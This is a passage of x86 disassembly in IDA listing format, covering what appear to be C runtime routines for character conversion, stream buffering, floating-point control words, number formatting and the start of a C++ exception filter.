loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB334, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C2F8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C504
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2850000h
		test	eax, eax
		mov	eax, dword_43C504
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB344
		call	near ptr 2850000h
		nop
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC78
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB470
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB498, eax
		add	esp, 18h
		movsx	eax, byte_4DB472
		mov	dword_4DB490, eax
		pop	edi
		movsx	eax, word_4DB470
		mov	dword_4DB494, eax
		mov	dword_4DB49C, offset dword_4DB474
		mov	eax, offset dword_4DB490
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8B8o
					; ___:0043D118o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
